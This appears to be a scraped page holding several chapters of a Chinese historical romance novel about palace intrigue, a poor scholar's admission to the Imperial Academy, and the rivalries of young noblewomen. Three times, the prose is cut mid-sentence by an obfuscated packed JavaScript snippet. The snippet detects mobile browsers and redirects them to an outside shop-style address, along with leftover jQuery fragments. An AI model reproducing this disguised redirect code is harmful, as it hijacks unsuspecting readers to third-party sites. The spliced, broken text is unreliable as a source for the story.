;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16429346|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远远望去,只见禹王相貌不似太子殿下那般阴柔,反倒有几分俊秀。她心中略感诧异,没想到这位禹王殿下这般年轻,当今圣上重病缠身,还以为这位先皇后之子是个已过而立的粗犷之人。 雪光下,禹王身着玄色盔甲,腰系玄铁佩刀,凤眸狭长,目之所及,令人望而生畏,真是天生的天皇贵胄,威风凛凛,王者之气浑然天成。 他身后的将士各个英姿勃发,头戴盔甲,身着戎装,排队列阵,秩序井然。 从他们进城,百姓的欢呼声不绝于耳,江昱亦是心潮澎湃,瞻仰望去,他身侧有一匹高头大马,十分醒目,禹王朝他望来,眼底浮上一抹诧异,旋即嘴角上扬,朝他颔首示意。 江昱朝他拱手,目送轻骑队便从身前走过。 临街酒肆茶楼的二楼包厢都被京城贵女们包满,此刻窗扉洞开,女郎们掷果盈车,还有不少胆大女郎将手中香帕从楼上扔下,马上将士们途径路过却皆目不斜视,严阵以待。 人潮随着车队远去,街道上又恢复了宁静。 天香楼的二楼厢房里,程昭昭兴致缺缺地关上窗户,坐回案前,替自己倒了杯茶水,咕噜咕噜喝下,一口气叹得都快盖了外头的喧嚣。 商明惠浅笑:“如何?禹王殿下令你失望了?” “怎会?”程昭昭撅嘴道,“我瞧着是更加老成,没趣味了。” 商明惠中肯道:“边疆战苦,老成严谨一些没错。” 提前一月定下席面,就为了等这一刻,热闹凑完了,顿觉饥肠辘辘,程昭昭招呼店小二上菜,道:“下个月太子完婚,以后再请你出来吃酒就难了,今日,你一定要陪我尽兴,咱们不醉不归。” 商明惠单手支颐,无所谓状,道:“好。” 脑海中,不由自主再想起七娘问她的话。若是多年以前,她还可以泛起层层涟漪,但如今,她已经不会再生出一丝期望。 江昱从人潮中退出来,正瞧见商六郎带着一位清隽少年也退回马车边,商凝语掀开车帘,向他二人询问什么,双方熟稔,像是多年旧识。 他微微顿住,心道,怪不得她出城那般高兴,原来是岭南旧亲来京城了,早就听闻,商三爷离京后在岭南续娶了一位乡野夫人,看这位公子衣着,应是她的母族亲人。 如是想着,他应了一声同僚的呼唤,犹豫片刻,与马车相反的方向离去。 商凝言在距离忠勤伯府只有两条巷的坊道租了一间屋给陆霁暂住,屋舍前院是一家医馆,医馆主人名叫邢长卿,曾是一名中举的科考士人,因家学渊源,年过不惑时,弃仕从医,此后,就守着医馆经营,维持家用。 每逢春闱,举子入京,医馆都会择一二间屋舍供作举子落脚暂歇之处,得知陆霁从岭南而来,远到京城游学,邢长卿收下微薄租银后,主动提出免费供用一日三餐膳食。 商凝言将陆霁送至屋舍,引他见过邢长卿后,道:“你先做休整,晚间,我在对街的天香楼订了一桌,为你接风洗尘。” 30. 第 30 章 眼见陆霁推脱,他补上一句,“我爹也会前往,你若是不去,就是不给我爹面子。” 陆霁顿时失声,再三言谢。 回到屋舍后,与邢长卿浅聊几句,邢长卿得知他初进京就要赴恩师的约,立刻吩咐药童去后院烧桶热水,让他梳洗。 陆霁去后院帮忙,医馆逼仄,后院却很宽敞,两面围墙,石桌圆瞪参差错落,显然是用来晾晒药材,他跟随去到厨房帮忙,药童忽见他跟进来,连说不用,推他回屋歇息。 他只好折返,重回二楼左屋,木门吱呀一声,陆霁跨过矮槛,见屋内清新干净,打扫得纤尘不染。 他放下书笈和一个包裹,包裹是途中遇到车夫,商家人替他准备的入冬衣物,入京之前,他未想到京城如此寒冷,备用的东西不多,但他未料到的,恩师一家都替他办妥了。 盥洗一番后,陆霁换下内衣,外衫依旧穿着进京的那套,出门赴约。 夜色降临,终于雪霁,华灯初上,卧龙苏醒,酒肆茶楼的烟囱升起袅袅炊烟,各厢房飘香四溢,四处喧哗。 推开门,师徒重逢,商晏竹见他模样依旧,心生欣慰,此趟商凝语未来,三人把酒言欢,直至夜深,才携着酒气,各自归去。 如送一双儿女上学一样,初十这日,商晏竹整肃妆容,送得意门生去往国子监就读。 商凝语格外起了早,对着黄花镜让点翠给她梳了一个寻常的高髻,簪花点翠,描眉敷粉,穿上学士服,依旧是外罩一件灰鼠领绣花纹斗篷,快速用完早膳,就去往翠竹堂。 到了翠竹堂,商父还在用膳,恰巧商凝言也在,得知她来了,商父哼笑了一声,商凝言默默地扫了她一眼。 商凝语状作不知,福礼给父母请安,田氏上前扶起她时,伸出一根手指恨恨地戳了一下她的脑门,面上却关心问道:“吃了没?” “吃过了,”商凝语笑眯眯道,走到商凝言对面,双手托腮,目不转睛地盯着他,“你们慢吃,我等你们一道走。” 商晏竹吃完了,放下碗箸,规矩森严的家族,有“长者缀箸,少者毕餐”的陋习,但今日,商晏竹格外关照了只剩最后一口饭的商凝言一句,“没吃饱,可以再加一碗米粥。” 商凝语顿时眉头一皱,商凝言眼底滑出浓浓笑意,格外顺从地应了声:“是。” 有道是,丈母娘见女婿,越见越顺眼,田氏重重地拍了一下儿子当真去够饭勺的手,没好气道:“小心吃撑的你!” 商凝语立刻直起身,朝兄长抬了个倨傲的下巴,商凝言无奈地放下碗箸,田氏吩咐侍女收拾残羹,转眼却见夫君又进了内屋,她吩咐兄妹二人一声,跟着进去服侍。 掀开珠帘,却见夫君并未做什么,而是立在妆奁前整顿衣衫,田氏顿时一哂,暗笑一声,上前去替夫君整理已经平整得不能再平整的衣襟。 揶揄道:“都还未过明路,别剃头挑子一头热,你现在是先生呢,拿好你的身份。” 商晏竹对学生自是欣赏,就是见不得女儿那卯足劲往前冲的架势,忍不住就想杀杀她的士气。闻言,冷淡地嗯了一声,背着手走出珠帘,在门口停顿半息,朝爱女看了一眼,径自朝外走去。 商凝语连忙起身,商凝言干咳一声,她倏地顿住抬起的脚,让商凝言走在前头,才瞪着眼缀在后头跟上。 到了前院,只见陆霁端坐在花厅,手中捧阅的是一本封面崭新的新书,见到三人,连忙放下书卷迎上来。 但商凝语观察入微,立刻注意到,弯曲的那一边已经堆叠了好几面,可见,他早已等候多时。 商凝语顿时就不高兴了,扫了一眼父兄,故意扬声唤道:“霁哥哥,让你久等了。” 陆霁目光闪烁,笑回:“才来不久。”朝商晏竹躬身行礼,道:“见过先生,不知先生可有用过早膳?” 商晏竹颔首,神情淡淡,也问他:“你吃过没?” “学生也已经用过了早膳,只是医馆开门早,所以早些来了一步,下次学生会晚一点到,商兄不必心急。”说着,陆霁朝商凝言看去。 商凝语朝商凝言投去一个眼神,仿佛在说“看看你干的好事吧”! 商凝言回以无奈的神色,朝陆霁道:“无妨,我平日也是此刻出发,都是今日,多等了小妹一会,才耽搁了片刻。”他又幸灾乐祸道,“不过没关系,下次我们可以先走一步,不必等她了。” 商凝语:“?” 商凝语目瞪口呆,望向商凝言,不明所以,然而,商晏竹已经说了一句“走吧”,到了门外才知是怎么回事。 新来的车夫朝商凝语躬身,卑弱道:“七娘子,您不必等六公子一道了,三爷说,以后有我单独接送您。” 点翠也从管事处跑过来,开心道:“娘子,以后午膳不必等六公子了,婢子去给你送饭。” 商凝语暗自咬牙,看向父亲。 商晏竹抬着胸脯,目不斜视地朝前走去,登上马车。 商凝言挥一挥手,携着陆霁上马车,商凝语朝着已经出发的马车背影,狠狠握了个拳头。 当她稀罕跟他们一道走嘛?不带她早说啊,害她今日起了个大早! 依照先前一样,商父将国子监相关信息告诉陆霁,叮嘱他,“不必妄自菲薄,你的学识,便是在京城,也出类拔萃。” 陆霁面色清润平和,道:“是,先生放心,学生定不辜负先生期望。” 当初收到先生书信,不可否认,他受到了很大的打击,脑海中流过诸多想法,但最后,却都被他一一否定。 先生的人品和学识,有目共睹,所有的猜测,在撞击这一面墙时,都戛然而止,他不信先生会害他,最终决定以三年作赌,赴这场京城之邀。 马车在国子监门前停下,商晏竹走在前头,三人一同进了监学,刘管事派来的书童迎接到三人后在前面引路,带着三人到了祭酒白老先生的书房处,叩门后,请三人进去。 白老先生是一位须发皆白的耄耋老者,精神烁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16433832|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烁,见到商晏竹,就双眼笑出了一条线。 几人见礼落座,听商晏竹说明来意后,老先生哼哼道:“你小子,上次你自己的儿子,还是托我家那不肖孙送到我跟前来,今日怎么,一个学生,还要让你亲自跑一趟?” 商晏竹忙道:“学生惭愧,有负先生当年教诲,无颜面见老先生,犬子无状,原先以为他能进国子监修学,拜入先生门庭,便已是天赐,不曾想,他认识了令孙,阴差阳错,真入了您的慧眼。” 听他如此谦卑,白老先生面色并不大好,沉着脸不说话,半响后,板正道:“你为官一方,能清正廉明,勤政爱民,也算秉承吾辈之道,倒也不算辜负了为师,不必自谦过责。” 商晏竹神色稍安,将陆霁引致跟前,道:“恩师海涵,只是此子确乃璞玉,而今尚且年幼,学业根基便已初具规模,经史子集,亦能窥其堂奥,如此良才美质,若只因出身寒微而湮没无闻,实乃暴殄天物,故学生心有不忍,今日不揣冒昧,斗胆引荐,还请先生鉴察。” 白老先生倒也早一步注意到这位清隽少年,与世家公子的浮躁不同,这位少年目光澄澈,虽略显拘谨,但举止有度,若非定力十足,便是胸中藏有丘壑之辈。 瞧着姑且不错,只是不知学识和心性究竟如何。 白老先生目光端凝。 商晏竹轻推陆霁,陆霁上前,下参拜大礼,称道:“晚生拜见祭酒大人。” 白老先生抹了一把流畅的白髯,问:“你叫什么名字?” “晚生姓陆,单名一个霁。” 白老先生打量他,问:“是林霏敛夕霁的霁?” 陆霁微顿,道:“是。” 老先生道:“你既然想拜入我门下,我便考你几个问题。” 陆霁下巴收紧,躬身道:“大人请问。” “史家笔法,讲究微言大义,《春秋》之中,有六字箴言,‘郑伯克段于鄢’,其褒贬意义如何?” 陆霁眼神清明,微作思索。 答道:“以‘克’代‘伐’,暗指两国交战实乃同室操戈,讥讽庄公处心积虑,纵容其弟弟以下犯上再一举克之,实非仁君所为。圣人以此惩恶劝善,意在劝解乱臣贼子止戈息战,以求天下太平之道。” 白老先生眼中闪过一丝嘉许,目光意味不明地扫了商晏竹一眼,商晏竹回以微笑。 “分析鞭辟入里,确有几分可塑之才,不过,”老先生道,“其中,不以弟为称,而呼其为段,亦是圣人斥庄公失弟之道,有违兄友弟恭。” 陆霁拱手言谢,“学生受教。” 随后,又是考校了几个问题,从经学到文史,对面少年从容应答,不骄不躁,或有见识偏僻之处,亦坦言相告,并触类旁通,当堂拆解。 白老先生终于颔首,面色略带满意,道:“你且留下,不过,半年时日尚短,待你日后再入京城,必得再进馆中听课受学足一年方可。” 陆霁大喜,连连拜谢:“多谢大人。” 31. 第 31 章 白老先生挥了挥手,叫商凝言带陆霁找刘管事办理入学,随后单独留下商晏竹,煮茶话谈。 茶水上案,书童离去,在茶香扑鼻的氛围里,白老先生望着昔日爱徒,关切问道:“你回京几近一岁,如今在哪部任职?” 商晏竹:“恐令先生失望,学生闲赋在家,尚未任职。” 白老先生抬眼看他,“怎么?你家老头子不着急了?” “不是。”商晏竹嘴角露出苦涩,“是学生,与父兄意见相左,左挑右捡,才搁置下来。” 对面的老者哼哼,道:“那是好事,不如你到监学里来,当个司业,想去教书也行。” “先生。”商晏竹喊,须臾,道:“我倒是还想外放出去,当个父母官,维护一方百姓安宁。” 对面的老者不说话。 刘管事替陆霁办理完入学,遣商凝言带他去课堂,商凝言自是却之不恭,走在半道上,商凝言艳羡道:“我当初拜入老先生门下时走了捷径,老先生虽然收留了我但并不大高兴,至今都未考校我的学问,不像你,一来就入了老先生的眼。” 能拜入老先生名下,名声自然是好,但能得老先生亲自提点才是真正的受益。 陆霁笑得真诚,“你的学问不在我之下,假以时日,老先生气消,待你定然不同。” “但愿如此。” 说着,二人一同进了教室。 - 禹王回京,圣上龙颜大悦,着令乔贵妃在宫中设宴,邀王公贵族一同前往,为禹王接风洗尘。 父慈子孝,原本无可厚非,但偏就在这时,禹王带回来的西北武将,不忿京中迂腐景象,在文华殿外与几位文公重臣起了冲突,这顿时捅了大篓子,半朝的文武官员都来了养心殿,弹劾禹王殿下纵容手下,罔顾朝纲。 更有甚者,借宫宴发挥,以禹王回京述职探视君父为由,长篇大论,引经据典,劝告圣上维持节俭,切莫因父子之情滋长西北将士们沉浸酒色的私欲。 对此,宣德帝一概含笑视之,所有奏章留中不发。 以为时机成熟,乔贵妃以圣上龙体欠安为由,提议将宫宴改为家宴。 不料宣德帝忽然龙颜大怒,当着一宫内监宫女的面,斥她为母不慈,奸诈心狠又无才无德,骂得乔贵妃面红耳赤,逃回延禧宫后,摔碎了几个新进的汝窑瓷器。 不仅如此,宣德帝仿佛一夜之间大病痊愈,不仅宣朝臣入殿,上了已经罢了一个多月的早朝,而且在听闻禹王回京途中遇袭后,将太子召进宫,以江南税收不利为由,怒斥了太子一顿,更是罢免了一位兵部侍郎的官职。 此后,再无人敢对禹王初回京城大摆宴席敢置一词,下令将所有西北军官发俸半年后,也不了了之。 这日,宫中大摆宴席,觥筹交错间,将刀光剑影都暗藏在酒色之下。 清平长公主身为圣上唯一存活在世的皇妹,先皇后手帕交,禹王的嫡亲姑姑,自然也在宫宴的受邀之列,只是以往,这位长公主都婉拒赴宴,今年却携子一同,盛装出席。 江昱等人身为京城有名的纨绔,与这些西北军官好像臭味相投,一夕之间,相见恨晚,酒过半巡就喝得酩酊大醉。 “来来来,诸位大哥,这一杯我敬你们,不瞒诸位,我江昱,虽然眼高于顶,谁都瞧不上,但是,就敬你们这些上阵杀敌,保疆卫国的英雄,今日见到你们,才知道什么叫做真豪杰,真血性!” “江世子,你这倒酒的手法,是个行家啊?” “哈哈哈,不瞒诸位,这满京城,喝酒赌钱,要是江世子认第二,就没人敢认第一。”程玄晞病弱,酒量小,此刻却也有些醉意,勾着一位西北老将的背,道:“钱叔,你跟他喝,快杀杀他的威风,难得他有今日。” 酒席上顿时哗然,有人叫嚷着,要划拳猜酒,江昱一脚架在长凳上,撸起袖子,白皙的脸上透着红晕,他手指一圈,喊道:“来,一个个上,今日要是叫我连输三局,明个儿,春满楼!我连包三日,叫诸位再喝个痛快!” “好!好!好!” “世子爷阔气!” 宣德帝看着外殿的喧哗,笑着说清平长公主,“瑾弋自从担任了兵马司副指挥使一职,人整个的都不一样了。” 清平长公主福礼笑道:“多亏皇兄栽培,否则他还不知道浑浑噩噩到什么时候。” 乔贵妃笑应:“世子豪放大气,只是,在一个小小兵马司,是否屈才了?”她转头望向宣德帝,“应该叫世子去禁中才对。” 宣德帝舀了一口甜汤送进嘴中,不说话,清平长公主笑道:“禁中乃是宫备防守重地,让他去置皇兄安慰于何地?我看兵马司就很好,也算历练他一番。” 宣德帝大病初愈,渐渐露出疲态,乔贵妃还想说什么,宣德帝却已经吩咐洪庆山上前,她连忙过来侍奉,却被宣德帝一把推开,在洪庆山的搀扶下离开筵席。 宣德帝走后,内殿很长一段时间寂静无声。 乔贵妃一人独坐高台,赵曦与禹王赵寰遥遥对坐,筵席往下,是清平长公主,华阳公主,与二人对坐的是记在乔贵妃名下的平乐公主。 望着那厢喧闹一阵盖过一阵,赵曦面色愈发阴沉,平乐公主望着两位兄长,神情怯懦,颤颤地举起酒杯,打破平静,道:“二皇兄,好久不见,我敬你。” 赵寰目光投向她,不置一词,喝下手中的酒。 平乐公主见状,抿了抿唇,默默地喝下酒。 乔贵妃见状,轻笑:“二皇子回京真是赶巧,下月初,太子大婚,你正好可以参加太子喜宴。” 陪坐在平乐公主旁的乔夫人,笑得得体,附和道:“正是,说来二皇子年岁也大了,这些年一直风餐露宿,戎马沙场,身边没个知心人,这好不容易回来了,娘娘也该上些心,替二皇子择门亲事,好为圣上分忧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16440216|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵寰面无表情,端着酒盏,旁若无人地,一杯接着一杯。 却是华阳公主忍不住了,她下巴高抬,睥睨道:“不知乔夫人打算给我皇兄指派哪家女娘?” 不及乔夫人说话,她提声警示,“可一定要人品家世都十分要好的,如你家表侄女,比你家女儿长得还要像歪瓜裂枣,可配不上我皇兄。” 乔夫人一噎,乔诗涵的芙蓉面顿时青一阵黑一阵,乔贵妃今晚本就不顺心,此刻终于寻到了发泄口。 斥道:“乔家的女娘,若是瞧不上,就去选别家的,华阳,本宫早与你说过,你再如此口不择言,小心圣上再发怒将你禁足。” 华阳公主冷哼,拿起酒盏一饮而尽,放下时,酒盏重重地磕在食案上,发出砰地一声。 清平长公主心平气和道:“有话就好好说,教子如铸器,过刚易折,华阳说错话,你好好引导便是,何须拿此事去滋扰圣上?难道,民生社稷、边疆戍守还不够圣上烦忧的吗?” 乔贵妃不软不硬地撞了个钉子,轻笑一声,凤眼扫了一眼殿外虚晃的幢幢身影,道:“长公主此言说得好,只是本宫望子心切,比不得长公主,眼见着世子如今这般潇洒,竟还能觉得他是个好的。” 清平长公主依旧面色沉静,只是,正待她说话,有人接过话茬。 “和光同尘,与时舒卷,行混俗之举,而不失澄澈之心,依本王看,瑾弋是我见过的最真的高雅之人。”赵寰道。 赵曦轻嗤一声冷笑,才动了动嘴唇,就叫清平长公主打断道:“太子身为储君,应当谨言慎行,前些日子,赏菊宴上的事闹得沸沸扬扬,国公府按住不发,实乃见太子首犯,若是再有什么传言,便是圣上无暇顾及,我这个做皇姑母的,也要提醒圣上一二,以免寒了老太君的心。” 赵曦只字未发,却已经吃了一肚子火气,维持了表面的礼数已是难得,这下,直接甩袖离席而去。 见太子恼羞成怒,乔诗涵连忙起身,羞怯地想要去安慰,却一个错身,就只见一个身影已经快她一步,追了上去。 她神情错愕,看着太子下首处,平乐公主空空的坐席。 - 江昱身负京城第一纨绔之名,划拳喝酒,自然不会输,不过,他还是将春满楼包下来,宴请将士们喝了三天三夜,以致到了第四日,还在昏昏大睡。 仅三日,就已经和几名军中将领全部混熟,第六日早,天地冰雪融化,暖阳高升,他换上锦服,敷上抹额,去往国子监上学。 勇毅侯世子进了南城兵马司任职,又与西北将士们胡吃海喝称兄道弟的消息在监学中不胫而走,人人都道这位世子突然改了性子,不再声色犬马,反倒与一群草莽为伍,或许不日还要上阵杀敌,该去军中镀金了。 有人艳羡有人妒,不过,商凝言是不管的,他近日都在和陆霁探讨学问,心潮澎湃地徜徉在浩瀚书海中,轻松时光仿佛回到岭南山下。 50-60 第51章 点翠见食盒中还有几个包子和小菜, 心中奇怪,询问下得知,是娘子从后厨顺来的剩品, 心中就猜到,娘子去后厨一定受了轻视, 一番自责后,得知江世子吩咐随从送来食盒,才有此猜测。 “没听说江世子青睐哪家娘子, 像他这样眼高于顶的人, 应该不会主动去接近别的女娘。” 点翠细细分析。 “虽然江世子几次寻麻烦,却仔细算来,也帮了娘子不少,这次甚至悄声打探娘子情况,算准了时机过来送上食盒,未尝不是为上次得罪娘子的事赔礼道歉。” 商凝语则终于找到心中那点奇怪之感源于何处, 原来, 是这样。 其实,她心中也不是没有察觉, 男人看女人的眼神,有没有别样心思,她以前见过,初始不懂, 后来见得多了, 尤其是那日禹王殿下与四姐姐相见, 她矛塞洞开,忽然就懂了。 只是,江昱的眼神过于明亮, 她有时候并不确认,更不用说,他竟以先生之名,教导她如何择婿。 事后她回过神,也有将其代入思考。 他所论三钢为鉴,仿佛都与他本人有所出入。 首先门第,侯府确实是高门显贵,但是侯爷闲散在外,并无实权,所谓家族砥柱,纯属天方夜谭;其次家世清白,他家只有他一子,人丁凋零,门庭和睦显而易见,与他所言不谋而合应该是一种巧合。 最后再观其人,什么暂困泥涂不过是一时之需,却能解燃眉之急,什么稍得悉心引导,便能迷途知返,说的根本是另号人物,她以为他纯粹是为了反衬陆霁,所以当时才那么生气。 总而言之,他言下之意,并非暗指他自己,随后,商凝语的这个心思,也就不了了之。 方才见他命随从送来食盒,这种心思又突然冒了出来,但见那随从横眉冷对,眼不是眼,嘴不是嘴,恨不得鼻孔冲天,她又否定了这种想法。 仆从随主,试问有哪家仆从对主子的心爱之人,不假辞色? 直到点翠点出,她忽然就确定了。这大概就是,当局者迷。 早知如此,这个食盒她就不拿了。 当时只是担心被有心人见到,艺馆先生追根究底,知晓有男人闯进东庭,会引起不必要的恐慌,可这会儿知晓江昱有这个心思,她就后悔了。 她首先当然得顾及好霁哥哥的颜面,不能让别的男人影响他们之间的感情。 恐慌是别人的,她应该避嫌。 商凝语晚膳就吃了几个包子,剩下的饭菜全进了点翠的肚子,甚至最后还让点翠将竹篮拆解,扔进了竹林,那一块蓄热的面巾,就拿去垫屋舍里不太平稳的柜脚。 晚膳之后,郊外阴冷,寒潮渐重,女娘们都在屋舍里取暖。 东庭的屋舍呈四合包围状,中间是庭院,主仆二人共用一室,商凝语住在西南角,早早地就洗漱上床,吩咐点翠将画作拿过来。 点翠将画架搬过来,然后往炉子里添了一块银丝炭,也歪了过来。 床头桌边燃着一根大烛,主仆俩一靠一坐,头挨着头,轻声细语地品赏,忽然听见屋外传来动静,点翠猫着腰过去,透过窗棂缝隙往外瞧。 片刻后,又猫着腰回来,小声道:“是方小娘子的姐姐来了,住在方小娘子隔壁那屋里。” 方云婉?商凝语诧异一瞬。 习艺馆在京都娘子群里,有特别的意义存在,进了艺馆学艺的女娘,寻找夫家时都会高看一筹,若能在艺馆中得了些许名分,未来更受夫家青睐,因此,有许多女娘在学成之后,也会在馆中挂职,就像商明惠一样,寻常也可以回馆中指点一二,令后辈女娘瞻仰。 方云婉亦是如此,与商明惠擅长棋道不同,她擅长的是绘画,因此受邀前来,并不意外。 深夜至此,大约也是有事耽搁了。 不过,商凝语还是叮嘱点翠:“这姐妹二人都不是善茬,这两日留意点,尽量远离她们。” 点翠应是。 商凝语将自己的画作研究一遍,重新描补了欠缺之处,又执起从家中带来的书本,借着灯烛阅读。 戌时末,屋门被人敲响,商凝语朝点翠示意,点翠起身去开门,见到方云婉带着方云婷立在门口。 灯火昏黄,方云婉盈盈浅笑,道:“我见你屋里灯火未灭,想来还未睡着,过来说几句话,没打扰吧?” “方娘子客气,您请进。”点翠道,面上一点芥蒂也无。 就说话的这会儿功夫,商凝语已经重新穿好衣裙,披着外衣绕过屏风,方寸大小的外间里,几人站立,她看向方云婉,眼中流露些许诧异。 与之前见过几次面的妆容不同,方云婉额头光洁饱满,素日将青丝全部挽成髻,坠在脑后,而今日,她将刘海打散,在额前挽了半弧,服帖在鬓角一边。 如此妆容,虽然有些别致,与时下盛行女容不同,但也遮掩了她的长处,显得整个人有些阴郁。 商凝语心中感慨,面上却不显,笑问:“不知方娘子寻我何事?” 方云婉仪态一如既往的端庄,“今日之事,我已经听说了,特意带着幼妹过来向你道个歉。” 商凝语暗自惊奇,以她目前对方家的认知,可不认为方云婉这般容易上门道歉,此人先前,还仗势挑衅呢。 但她还是笑道:“方娘子客气。”说罢,看向方云婷。 方云婷显然已经被说教了一顿,咬唇忍怒,垂下眼睑,道:“对不住,今日是我鲁莽了,请商娘子见谅。” 商凝语不答,朝身旁的点翠扬眉,用眼神示意,点翠笑着道:“方小娘子不必客气,婢子受不住。” 方云婷心中怒火顿窜,却被方云婉一个眼神按捺回去,方云婉转过头来,笑着道:“大家都是同窗姐妹,一场误会,希望商娘子莫要挂怀,往后还要和睦相处才是。” 商凝语浅笑:“方娘子说的是。” 几人又客套几句,二人才离去,点翠关上门,陪着娘子回到床边,小声疑惑:“她们过来做什么?真的就是来道歉?” 商凝语也猜不透,“不必管她们,熄灯,睡觉。”- 谢花儿心中气闷,原以为百年铁树终于开花,世子终于迎来人生第一道春风,谁知是空欢喜一场。 可怜见的,世子为商家小娘子寝食难安,短短几日,人都眼见的消瘦下来,整个人也抑郁了许多,那商家小娘子,还没心没肺,一心只记挂那个穷书生! 眼见太阳落山,谢花儿加快脚步,回到监学安排的住处。 寒风萧瑟,他推开门,只见江昱正在擦拭手中的箭矢,听到动静,江昱手中箭矢倏地翻转,执起桌上弯弓,一阵紧致地拉弦声绷起,箭尖直直地对过来。 烛火跳动,箭尖银光锃亮,在他沉郁的脸上落下一道银白光影。 谢花儿吓了一哆嗦,扶着门框哀嚎:“世子,我这小心脏可不禁吓,您就收手吧。” 江昱动作不改,瞄准了他,嗓音低沉,问:“她收下了吗?” “收下了。”谢花儿忙不迭地点头,“不仅收下了,还叮嘱奴才,向您道谢呢。” “胡说。”江昱呵斥,嘴角扯动,“她根本不会理你,怎可能还会道谢?” 呃?谢花儿哑然,片刻后,哭丧着道:“但是奴才将东西放下后,亲眼见着商娘子将食盒拿走了。” 江昱眼波微动,这才放下弓箭,对着箭尖吹了吹。 垂下的眼睫遮住落寞。 气氛一松,谢花儿抹了抹额间并不存在的汗,走了过来,端起茶壶,倒了一杯茶水给世子。 看着世子更加冷峻的侧脸,谢花儿直在心中叹气——他忽然怀念起从前那个没心没肺的世子。 正在这时,窗棂这厢传来一丝动静,谢花儿神色一凛,走过去,悄然打开窗户,四下无人,但窗台上落下一张卷纸,他拿起来,关上窗户,面色严肃地递交给江昱。 江昱也收了玩弄之心,将卷纸打开,只看了一眼上面的字迹,就将字条放在火烛上烧了。 谢花儿适时伸手,捧过灰烬,洒到窗外,回来小声问道:“可是殿下那边有了消息?” “不是。”江昱得意地笑,“是太子,终于忍不住,亲自出去了。” 谢花儿精神一抖,“那,我们?”他做了个手起刀落的姿势。 江昱一个激灵,狠狠一巴掌拍在他脑门上,“你是嫌我命太长了,还是想借刀杀人换个主子?” “奴才哪敢?”谢花儿连忙抱屈,先前担忧劲儿却散了个干净,喜笑颜开道:“奴才才不会换主子,这辈子生是主子的人,死是主子的鬼。” 江昱一脚将他蹬开,心中又开始惆怅起来,这话听着多耳熟,青楼楚倌,戏曲文辞,多是娇滴滴的女娘对潇洒郎君说的,可惜啊,可惜 谢花儿眼见主子又开始相思顾盼,赶紧撵着话题转移,小声请教:“太子如今地位稳固,咱们这跟太子对着干,也吃力不讨好啊。” 涉及如今头等大事,江昱果然注意力回旋,他冷嗤:“谁说他地位稳固?” 说着,手间玉骨骰摩擦出一道尖锐的刺耳声响,仿佛无声应答—— 作者有话说:江昱:我对你的爱,至死不渝。 商凝语:对不起,我喜欢的是对我一见钟情的忠犬 江昱:噗又刀我 第52章 翌日, 绘画课程还是在昨日那个地方,只是朱先生旁座,指导改成了方云婉。 不少女娘暗中将目光投向商凝语, 眼中隐隐有看好戏的神色,结果, 令众人失望了,方云婉不仅没有公报私仇,甚至格外照顾商凝语, 对她的画作进行了细致的点评, 并予以褒奖。 连商凝语都有些奇怪了,莫非是与宗室定下婚事后,转了性子? 心中再多疑惑,也只是起了警惕,但面子上还是笑容满面。 值得高兴的是,朱先生听了众位女娘的建议, 一早前往国子监那厢商议, 允许晌午过后,去见识一下男子骑射场面, 并以入画。 众女哗然。 艳阳高照,冬日暖融。 午间小憩片刻,侍女便拿起画架,随众女一同前往南庭, 南庭背靠山脉, 严寒时节, 山中偶有猛兽咆哮,将士们在距离南庭外墙五里地驻扎守卫,而墙内, 便是宽敞的靶场。 在靶场东面,有个小山坡,山坡上用牛皮布搭建了一排三面遮风的宽大帐篷,在朱先生的指引下,众女娘相继在帐篷中落座,面靠靶场,欣赏书生们的骑射。 这个角度选取的正合适,箭靶在左侧方向,恰好供女娘们观察作画。 艺馆和监学两位主事,特意命令学子们身穿统一监学服饰,以免娘子们心中产生不必要的遐想,也免去因为有人观察,学子们如芒在背,三心二意,更免去那些娘子画作完成时,有人对号入座,引起不必要的麻烦。 此时,只见下方有数十名学子聚作一团,正在听骑射先生授课,刘管事立在不远处,束手观望,维持秩序。 商凝语心中对方云婉突然造访存了好奇,目光不免在场中巡视一番,来回看了三遍,却因无法瞧见每一个学子面容,不能确认乔家公子是否到场。 那位传闻中的平亲王世子早已从监学毕业,更不可能出现在学子中,那就最后还剩下一个太子,莫非太子主持武试,还有空前来这厢指导骑射? 她心中存疑,认真观察,只见这些学子面容整肃,各个严正以待,如临大敌,认真听学,秩序有序。 曾经去监学等候商凝言的片刻,商凝语有幸见到那名以严苛著称的刘管事,跳着脚教训学子,口吐飞沫的画面令人记忆犹新,此刻,这位刘管事双手环抱,以一种极为悠闲自豪的神态观望场中。 商凝语眉目一松,更加确定了心中所想。 果然,便在她睃巡完毕,心中得出结论时,白璎珞凑过来,小声道:“今日上午,武试第一场,哥哥他们去武场那边观望,想来,太子待会也会过来指点一二。” 